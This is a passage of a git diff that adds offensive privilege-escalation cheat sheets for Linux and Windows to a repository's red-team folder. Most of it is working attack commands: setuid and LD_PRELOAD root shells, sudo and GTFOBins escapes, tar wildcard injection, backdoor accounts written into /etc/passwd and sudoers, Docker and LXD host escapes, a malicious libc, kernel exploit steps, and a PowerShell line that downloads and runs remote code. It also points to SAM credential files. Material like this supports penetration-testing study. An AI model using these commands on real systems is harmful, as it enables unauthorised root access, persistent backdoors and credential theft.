authorized_keys file on a host system. + +Needed : SSH-DSS String from authorized_keys file + +**Steps** + +Get the authorized_keys file. An example of this file would look like so: + +```ps1 +ssh-dss AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf ... (snipped) ... +``` + +Since this is an ssh-dss key, we need to add that to our local copy of `/etc/ssh/ssh_config` and `/etc/ssh/sshd_config`: + +```ps1 +echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/ssh_config +echo "PubkeyAcceptedKeyTypes=+ssh-dss" >> /etc/ssh/sshd_config +/etc/init.d/ssh restart +``` + +Get [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) and unpack the keys: + +```ps1 +git clone https://github.com/g0tmi1k/debian-ssh +cd debian-ssh +tar vjxf common_keys/debian_ssh_dsa_1024_x86.tar.bz2 +``` + +Grab the first 20 or 30 bytes from the key file shown above starting with the `"AAAA..."` portion and grep the unpacked keys with it as: + +```ps1 +grep -lr 'AAAA487rt384ufrgh432087fhy02nv84u7fg839247fg8743gf087b3849yb98304yb9v834ybf' +dsa/1024/68b329da9893e34099c7d8ad5cb9c940-17934.pub +``` + +IF SUCCESSFUL, this will return a file (68b329da9893e34099c7d8ad5cb9c940-17934.pub) public file. To use the private key file to connect, drop the '.pub' extension and do: + +```ps1 +ssh -vvv victim@target -i 68b329da9893e34099c7d8ad5cb9c940-17934 +``` + +And you should connect without requiring a password. If stuck, the `-vvv` verbosity should provide enough details as to why. + +## Scheduled tasks + +### Cron jobs + +Check if you have access with write permission on these files. +Check inside the file, to find other paths with write permissions. + +```powershell +/etc/init.d +/etc/cron* +/etc/crontab +/etc/cron.allow +/etc/cron.d +/etc/cron.deny +/etc/cron.daily +/etc/cron.hourly +/etc/cron.monthly +/etc/cron.weekly +/etc/sudoers +/etc/exports +/etc/anacrontab +/var/spool/cron +/var/spool/cron/crontabs/root + +crontab -l +ls -alh /var/spool/cron; +ls -al /etc/ | grep cron +ls -al /etc/cron* +cat /etc/cron* +cat /etc/at.allow +cat /etc/at.deny +cat /etc/cron.allow +cat /etc/cron.deny* +``` + +You can use [DominicBreuker/pspy](https://github.com/DominicBreuker/pspy) to detect a CRON job. + +```powershell +# print both commands and file system events and scan procfs every 1000 ms (=1sec) +./pspy64 -pf -i 1000 +``` + +## Systemd timers + +```powershell +systemctl list-timers --all +NEXT LEFT LAST PASSED UNIT ACTIVATES +Mon 2019-04-01 02:59:14 CEST 15h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily.timer apt-daily.service +Mon 2019-04-01 06:20:40 CEST 19h left Sun 2019-03-31 10:52:49 CEST 24min ago apt-daily-upgrade.timer apt-daily-upgrade.service +Mon 2019-04-01 07:36:10 CEST 20h left Sat 2019-03-09 14:28:25 CET 3 weeks 0 days ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service + +3 timers listed. +``` + +## SUID + +SUID/Setuid stands for "set user ID upon execution", it is enabled by default in every Linux distributions. If a file with this bit is run, the uid will be changed by the owner one. If the file owner is `root`, the uid will be changed to `root` even if it was executed from user `bob`. SUID bit is represented by an `s`. + +```powershell +╭─swissky@lab ~ +╰─$ ls /usr/bin/sudo -alh +-rwsr-xr-x 1 root root 138K 23 nov. 16:04 /usr/bin/sudo +``` + +### Find SUID binaries + +```bash +find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; +find / -uid 0 -perm -4000 -type f 2>/dev/null +``` + +### Create a SUID binary + +| Function | Description | +|------------|---| +| setreuid() | sets real and effective user IDs of the calling process | +| setuid() | sets the effective user ID of the calling process | +| setgid() | sets the effective group ID of the calling process | + +```bash +print 'int main(void){\nsetresuid(0, 0, 0);\nsystem("/bin/sh");\n}' > /tmp/suid.c +gcc -o /tmp/suid /tmp/suid.c +sudo chmod +x /tmp/suid # execute right +sudo chmod +s /tmp/suid # setuid bit +``` + +## Capabilities + +### List capabilities of binaries + +```powershell +╭─swissky@lab ~ +╰─$ /usr/bin/getcap -r /usr/bin +/usr/bin/fping = cap_net_raw+ep +/usr/bin/dumpcap = cap_dac_override,cap_net_admin,cap_net_raw+eip +/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep +/usr/bin/rlogin = cap_net_bind_service+ep +/usr/bin/ping = cap_net_raw+ep +/usr/bin/rsh = cap_net_bind_service+ep +/usr/bin/rcp = cap_net_bind_service+ep +``` + +### Edit capabilities + +```powershell +/usr/bin/setcap -r /bin/ping # remove +/usr/bin/setcap cap_net_raw+p /bin/ping # add +``` + +### Interesting capabilities + +Having the capability =ep means the binary has all the capabilities. + +```powershell +$ getcap openssl /usr/bin/openssl +openssl=ep +``` + +Alternatively the following capabilities can be used in order to upgrade your current privileges. + +```powershell +cap_dac_read_search # read anything +cap_setuid+ep # setuid +``` + +Example of privilege escalation with `cap_setuid+ep` + +```powershell +$ sudo /usr/bin/setcap cap_setuid+ep /usr/bin/python2.7 + +$ python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")' +sh-5.0# id +uid=0(root) gid=1000(swissky) +``` + +| Capabilities name | Description | +|---|---| +| CAP_AUDIT_CONTROL | Allow to enable/disable kernel auditing | +| CAP_AUDIT_WRITE | Helps to write records to kernel auditing log | +| CAP_BLOCK_SUSPEND | This feature can block system suspends | +| CAP_CHOWN | Allow user to make arbitrary change to files UIDs and GIDs | +| CAP_DAC_OVERRIDE | This helps to bypass file read, write and execute permission checks | +| CAP_DAC_READ_SEARCH | This only bypasses file and directory read/execute permission checks | +| CAP_FOWNER | This enables bypass of permission checks on operations that normally require the filesystem UID of the process to match the UID of the file | +| CAP_KILL | Allow the sending of signals to processes belonging to others | +| CAP_SETGID | Allow changing of the GID | +| CAP_SETUID | Allow changing of the UID | +| CAP_SETPCAP | Helps to transferring and removal of current set to any PID | +| CAP_IPC_LOCK | This helps to lock memory | +| CAP_MAC_ADMIN | Allow MAC configuration or state changes | +| CAP_NET_RAW | Use RAW and PACKET sockets | +| CAP_NET_BIND_SERVICE | SERVICE Bind a socket to internet domain privileged ports | + +## SUDO + +Tool: [Sudo Exploitation](https://github.com/TH3xACE/SUDO_KILLER) + +### NOPASSWD + +Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. + +```bash +$ sudo -l + +User demo may run the following commands on crashlab: + (root) NOPASSWD: /usr/bin/vim +``` + +In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. + +```bash +sudo vim -c '!sh' +sudo -u root vim -c '!sh' +``` + +### LD_PRELOAD and NOPASSWD + +If `LD_PRELOAD` is explicitly defined in the sudoers file + +```powershell +Defaults env_keep += LD_PRELOAD +``` + +Compile the following shared object using the C code below with `gcc -fPIC -shared -o shell.so shell.c -nostartfiles` + +```c +#include +#include +#include +#include +void _init() { + unsetenv("LD_PRELOAD"); + setgid(0); + setuid(0); + system("/bin/sh"); +} +``` + +Execute any binary with the LD_PRELOAD to spawn a shell : `sudo LD_PRELOAD= `, e.g: `sudo LD_PRELOAD=/tmp/shell.so find` + +### Doas + +There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` + +```bash +permit nopass demo as root cmd vim +``` + +### sudo_inject + +Using [https://github.com/nongiach/sudo_inject](https://github.com/nongiach/sudo_inject) + +```powershell +$ sudo whatever +[sudo] password for user: +# Press +c since you don't have the password. +# This creates an invalid sudo tokens. +$ sh exploit.sh +.... wait 1 seconds +$ sudo -i # no password required :) +# id +uid=0(root) gid=0(root) groups=0(root) +``` + +Slides of the presentation : [https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf](https://github.com/nongiach/sudo_inject/blob/master/slides_breizh_2019.pdf) + +### CVE-2019-14287 + +```powershell +# Exploitable when a user have the following permissions (sudo -l) +(ALL, !root) ALL + +# If you have a full TTY, you can exploit it like this +sudo -u#-1 /bin/bash +sudo -u#4294967295 id +``` + +## GTFOBins + +[GTFOBins](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. + +The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. + +> gdb -nx -ex '!sh' -ex quit +> sudo mysql -e '\! /bin/sh' +> strace -o /dev/null /bin/sh +> sudo awk 'BEGIN {system("/bin/sh")}' + +## Wildcard + +By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that's where the wildcard comes in handy. + +```powershell +# create file for exploitation +touch -- "--checkpoint=1" +touch -- "--checkpoint-action=exec=sh shell.sh" +echo "#\!/bin/bash\ncat /etc/passwd > /tmp/flag\nchmod 777 /tmp/flag" > shell.sh + +# vulnerable script +tar cf archive.tar * +``` + +Tool: [wildpwn](https://github.com/localh0t/wildpwn) + +## Writable files + +List world writable files on the system. + +```powershell +find / -writable ! -user `whoami` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null +find / -perm -2 -type f 2>/dev/null +find / ! -path "*/proc/*" -perm -2 -type f -print 2>/dev/null +``` + +### Writable /etc/sysconfig/network-scripts/ (Centos/Redhat) + +/etc/sysconfig/network-scripts/ifcfg-1337 for example + +```powershell +NAME=Network /bin/id <= Note the blank space +ONBOOT=yes +DEVICE=eth0 + +EXEC : +./etc/sysconfig/network-scripts/ifcfg-1337 +``` + +src : [https://vulmon.com/exploitdetailsqidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) + +### Writable /etc/passwd + +First generate a password with one of the following commands. + +```powershell +openssl passwd -1 -salt hacker hacker +mkpasswd -m SHA-512 hacker +python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' +``` + +Then add the user `hacker` and add the generated password. + +```powershell +hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash +``` + +E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` + +You can now use the `su` command with `hacker:hacker` + +Alternatively you can use the following lines to add a dummy user without a password. +WARNING: you might degrade the current security of the machine. + +```powershell +echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd +su - dummy +``` + +NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. + +### Writable /etc/sudoers + +```powershell +echo "username ALL=(ALL:ALL) ALL">>/etc/sudoers + +# use SUDO without password +echo "username ALL=(ALL) NOPASSWD: ALL" >>/etc/sudoers +echo "username ALL=NOPASSWD: /bin/bash" >>/etc/sudoers +``` + +## NFS Root Squashing + +When **no_root_squash** appears in `/etc/exports`, the folder is shareable and a remote user can mount it. + +```powershell +# remote check the name of the folder +showmount -e 10.10.10.10 + +# create dir +mkdir /tmp/nfsdir + +# mount directory +mount -t nfs 10.10.10.10:/shared /tmp/nfsdir +cd /tmp/nfsdir + +# copy wanted shell +cp /bin/bash . + +# set suid permission +chmod +s bash +``` + +## Shared Library + +### ldconfig + +Identify shared libraries with `ldd` + +```powershell +$ ldd /opt/binary + linux-vdso.so.1 (0x00007ffe961cd000) + vulnlib.so.8 => /usr/lib/vulnlib.so.8 (0x00007fa55e55a000) + /lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fa55e6c8000) +``` + +Create a library in `/tmp` and activate the path. + +```powershell +gcc –Wall –fPIC –shared –o vulnlib.so /tmp/vulnlib.c +echo "/tmp/" > /etc/ld.so.conf.d/exploit.conf && ldconfig -l /tmp/vulnlib.so +/opt/binary +``` + +### RPATH + +```powershell +level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" + 0x00000001 (NEEDED) Shared library: [libc.so.6] + 0x0000000f (RPATH) Library rpath: [/var/tmp/flag15] + +level15@nebula:/home/flag15$ ldd ./flag15 + linux-gate.so.1 => (0x0068c000) + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) + /lib/ld-linux.so.2 (0x005bb000) +``` + +By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. + +```powershell +level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ + +level15@nebula:/home/flag15$ ldd ./flag15 + linux-gate.so.1 => (0x005b0000) + libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) + /lib/ld-linux.so.2 (0x00737000) +``` + +Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` + +```powershell +#include +#define SHELL "/bin/sh" + +int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) +{ + char *file = SHELL; + char *argv[] = {SHELL,0}; + setresuid(geteuid(),geteuid(), geteuid()); + execve(file,argv,0); +} +``` + +## Groups + +### Docker + +Mount the filesystem in a bash container, allowing you to edit the `/etc/passwd` as root, then add a backdoor account `toor:password`. + +```bash +$> docker run -it --rm -v $PWD:/mnt bash +$> echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd +``` + +Almost similar but you will also see all processes running on the host and be connected to the same NICs. + +```powershell +docker run --rm -it --pid=host --net=host --privileged -v /:/host ubuntu bash +``` + +Or use the following docker image from [chrisfosterelli](https://hub.docker.com/r/chrisfosterelli/rootplease/) to spawn a root shell + +```powershell +$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease +latest: Pulling from chrisfosterelli/rootplease +2de59b831a23: Pull complete +354c3661655e: Pull complete +91930878a2d7: Pull complete +a3ed95caeb02: Pull complete +489b110c54dc: Pull complete +Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0 +Status: Downloaded newer image for chrisfosterelli/rootplease:latest + +You should now have a root shell on the host OS +Press Ctrl-D to exit the docker instance / shell + +sh-5.0# id +uid=0(root) gid=0(root) groups=0(root) +``` + +More docker privilege escalation using the Docker Socket. + +```powershell +sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash +sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh +``` + +### LXC/LXD + +The privesc requires to run a container with elevated privileges and mount the host filesystem inside. + +```powershell +╭─swissky@lab ~ +╰─$ id +uid=1000(swissky) gid=1000(swissky) groupes=1000(swissky),3(sys),90(network),98(power),110(lxd),991(lp),998(wheel) +``` + +Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. + +```powershell +# build a simple alpine image +git clone https://github.com/saghul/lxd-alpine-builder +./build-alpine -a i686 + +# import the image +lxc image import ./alpine.tar.gz --alias myimage + +# run the image +lxc init myimage mycontainer -c security.privileged=true + +# mount the /root into the image +lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true + +# interact with the container +lxc start mycontainer +lxc exec mycontainer /bin/sh +``` + +Alternatively + +## Hijack TMUX session + +Require a read access to the tmux socket : `/tmp/tmux-1000/default`. + +```powershell +export TMUX=/tmp/tmux-1000/default,1234,0 +tmux ls +``` + +## Kernel Exploits + +Precompiled exploits can be found inside these repositories, run them at your own risk ! + +* [bin-sploits - @offensive-security](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits) +* [kernel-exploits - @lucyoa](https://github.com/lucyoa/kernel-exploits/) + +The following exploits are known to work well, search for more exploits with `searchsploit -w linux kernel centos`. + +Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing `uname -a` +Copy the kernel version and distribution, and search for it in google or in . + +### CVE-2022-0847 (DirtyPipe) + +Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11 + +* [Lance Biggerstaff/2022-0847](https://www.exploit-db.com/exploits/50808) + +### CVE-2016-5195 (DirtyCow) + +Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 + +```powershell +# make dirtycow stable +echo 0 > /proc/sys/vm/dirty_writeback_centisecs +g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil +https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs +https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c +``` + +### CVE-2010-3904 (RDS) + +Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8 + +```powershell +https://www.exploit-db.com/exploits/15285/ +``` + +### CVE-2010-4258 (Full Nelson) + +Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) + +```powershell +https://www.exploit-db.com/exploits/15704/ +``` + +### CVE-2012-0056 (Mempodipper) + +Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) + +```powershell +https://www.exploit-db.com/exploits/18411 +``` + +## References + +* [SUID vs Capabilities - Dec 7, 2017 - Nick Void aka mn3m](https://mn3m.info/posts/suid-vs-capabilities/) +* [Privilege escalation via Docker - April 22, 2015 - Chris Foster](https://fosterelli.co/privilege-escalation-via-docker.html) +* [An Interesting Privilege Escalation vector (getcap/setcap) - NXNJZ - AUGUST 21, 2018](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/) +* [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/) +* [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/) +* [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt) +* [HOW TO EXPLOIT WEAK NFS PERMISSIONS THROUGH PRIVILEGE ESCALATION? - APRIL 25, 2018](https://www.securitynewspaper.com/2018/04/25/use-weak-nfs-permissions-escalate-linux-privileges/) +* [Privilege Escalation via lxd - @reboare](https://reboare.github.io/lxd/lxd-escape.html) +* [Editing /etc/passwd File for Privilege Escalation - Raj Chandel - MAY 12, 2018](https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/) +* [Privilege Escalation by injecting process possessing sudo tokens - @nongiach @chaignc](https://github.com/nongiach/sudo_inject) + +* [Linux Password Security with pam_cracklib - Hal Pomeranz, Deer Run Associates](http://www.deer-run.com/~hal/sysadmin/pam_cracklib.html) +* [Local Privilege Escalation Workshop - Slides.pdf - @sagishahar](https://github.com/sagishahar/lpeworkshop/blob/master/Local%20Privilege%20Escalation%20Workshop%20-%20Slides.pdf) +* [SSH Key Predictable PRNG (Authorized_Keys) Process - @weaknetlabs](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Vulnerabilities/SSH/key-exploit.md) +* [The Dirty Pipe Vulnerability](https://dirtypipe.cm4all.com/) +* [Setting the root password in preseed.cfg for unattended installation - Sebest - Mar 31, 2010](https://sebest.github.io/post/setting-the-root-password-in-preseed-cfg-for-unattended-installation/) diff --git a/personas/_shared/internal-allthethings/redteam/escalation/windows-privilege-escalation.md b/personas/_shared/internal-allthethings/redteam/escalation/windows-privilege-escalation.md new file mode 100644 index 0000000..8789e4b --- /dev/null +++ b/personas/_shared/internal-allthethings/redteam/escalation/windows-privilege-escalation.md @@ -0,0 +1,1565 @@ +# Windows - Privilege Escalation + +## Summary + +* [Tools](#tools) +* [Windows Version and Configuration](#windows-version-and-configuration) +* [User Enumeration](#user-enumeration) +* [Network Enumeration](#network-enumeration) +* [Antivirus Enumeration](#antivirus-enumeration) +* [Default Writable Folders](#default-writable-folders) +* [EoP - Looting for passwords](#eop---looting-for-passwords) + * [SAM and SYSTEM files](#sam-and-system-files) + * [HiveNightmare](#hivenightmare) + * [LAPS Settings](#laps-settings) + * [Search for file contents](#search-for-file-contents) + * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename) + * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords) + * [Passwords in unattend.xml](#passwords-in-unattendxml) + * [Wifi passwords](#wifi-passwords) + * [Sticky Notes passwords](#sticky-notes-passwords) + * [Passwords stored in services](#passwords-stored-in-services) + * [Passwords stored in Key Manager](#passwords-stored-in-key-manager) + * [Powershell History](#powershell-history) + * [Powershell Transcript](#powershell-transcript) + * [Password in Alternate Data Stream](#password-in-alternate-data-stream) +* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks) +* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services) +* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl) +* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths) +* [EoP - $PATH Interception](#eop---path-interception) +* [EoP - Named Pipes](#eop---named-pipes) +* [EoP - Kernel Exploitation](#eop---kernel-exploitation) +* [EoP - Microsoft Windows Installer](#eop---microsoft-windows-installer) + * [AlwaysInstallElevated](#alwaysinstallelevated) + * [CustomActions](#customactions) +* [EoP - Insecure GUI apps](#eop---insecure-gui-apps) +* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers) +* [EoP - Printers](#eop---printers) + * [Universal Printer](#universal-printer) + * [Bring Your Own Vulnerability](#bring-your-own-vulnerability) +* [EoP - Runas](#eop---runas) +* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies) +* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system) +* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts) +* [EoP - Impersonation Privileges](#eop---impersonation-privileges) + * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges) + * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives) + * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation) + * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges) + * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver)) + * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw)) + * [PrintSpoofer (Printer Bug)](#printspoofer-printer-bug))) +* [EoP - Privileged File Write](#eop---privileged-file-write) + * [DiagHub](#diaghub) + * [UsoDLLLoader](#usodllloader) + * [WerTrigger](#wertrigger) + * [WerMgr](#wermgr) +* [EoP - Privileged File Delete](#eop---privileged-file-delete) +* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure) + * [MS08-067 (NetAPI)](#ms08-067-netapi) + * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt200020032008xpvista7) + * [MS11-080 (adf.sys)](#ms11-080-afdsys---microsoft-windows-xp2003) + * [MS15-051 (Client Copy Image)](#ms15-051-client-copy-image---microsoft-windows-20032008782012) + * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) + * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue) + * [CVE-2019-1388](#cve-2019-1388) +* [EoP - $PATH Interception](#eop---path-interception) +* [References](#references) + +## Tools + +* [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit) + + ```powershell + powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks + ``` + +* [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson) +* [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock) + + ```powershell + powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1 + ``` + +* [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot) +* [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) + + ```powershell + ./windows-exploit-suggester.py --update + ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt + ``` + +* [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check) +* [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits) +* [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum) +* [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt) + + ```powershell + Seatbelt.exe -group=all -full + Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt" + Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\"" + ``` + +* [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless) +* [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS) + + ```powershell + powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt + ``` + +* [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe) +* [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng) + + ```powershell + # First obtain systeminfo + systeminfo + systeminfo > systeminfo.txt + # Then feed it to wesng + python3 wes.py --update-wes + python3 wes.py --update + python3 wes.py systeminfo.txt + ``` + +* [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck) + + ```powershell + C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck" + C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended" + C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML" + ``` + +## Windows Version and Configuration + +```powershell +systeminfo | findstr /B /C:"OS Name" /C:"OS Version" +``` + +Extract patchs and updates + +```powershell +wmic qfe +``` + +Architecture + +```powershell +wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% +``` + +List all env variables + +```powershell +set +Get-ChildItem Env: | ft Key,Value +``` + +List all drives + +```powershell +wmic logicaldisk get caption || fsutil fsinfo drives +wmic logicaldisk get caption,description,providername +Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root +``` + +## User Enumeration + +Get current username + +```powershell +echo %USERNAME% || whoami +$env:username +``` + +List user privilege + +```powershell +whoami /priv +whoami /groups +``` + +List all users + +```powershell +net user +whoami /all +Get-LocalUser | ft Name,Enabled,LastLogon +Get-ChildItem C:\Users -Force | select Name +``` + +List logon requirements; useable for bruteforcing + +```powershell +$env:usernadsc +net accounts +``` + +Get details about a user (i.e. administrator, admin, current user) + +```powershell +net user administrator +net user admin +net user %USERNAME% +``` + +List all local groups + +```powershell +net localgroup +Get-LocalGroup | ft Name +``` + +Get details about a group (i.e. administrators) + +```powershell +net localgroup administrators +Get-LocalGroupMember Administrators | ft Name, PrincipalSource +Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource +``` + +Get Domain Controllers + +```powershell +nltest /DCLIST:DomainName +nltest /DCNAME:DomainName +nltest /DSGETDC:DomainName +``` + +## Network Enumeration + +List all network interfaces, IP, and DNS. + +```powershell +ipconfig /all +Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address +Get-DnsClientServerAddress -AddressFamily IPv4 | ft +``` + +List current routing table + +```powershell +route print +Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex +``` + +List the ARP table + +```powershell +arp -A +Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State +``` + +List all current connections + +```powershell +netstat -ano +``` + +List all network shares + +```powershell +net share +powershell Find-DomainShare -ComputerDomain domain.local +``` + +SNMP Configuration + +```powershell +reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s +Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse +``` + +## Antivirus Enumeration + +Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName` + +## Default Writable Folders + +```powershell +C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys +C:\Windows\System32\spool\drivers\color +C:\Windows\System32\spool\printers +C:\Windows\System32\spool\servers +C:\Windows\tracing +C:\Windows\Temp +C:\Users\Public +C:\Windows\Tasks +C:\Windows\System32\tasks +C:\Windows\SysWOW64\tasks +C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system +C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system +C:\Windows\debug\wia +C:\Windows\registration\crmlog +C:\Windows\System32\com\dmp +C:\Windows\SysWOW64\com\dmp +C:\Windows\System32\fxstmp +C:\Windows\SysWOW64\fxstmp +``` + +## EoP - Looting for passwords + +### SAM and SYSTEM files + +The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. + +```powershell +# Usually %SYSTEMROOT% = C:\Windows +%SYSTEMROOT%\repair\SAM +%SYSTEMROOT%\System32\config\RegBack\SAM +%SYSTEMROOT%\System32\config\SAM 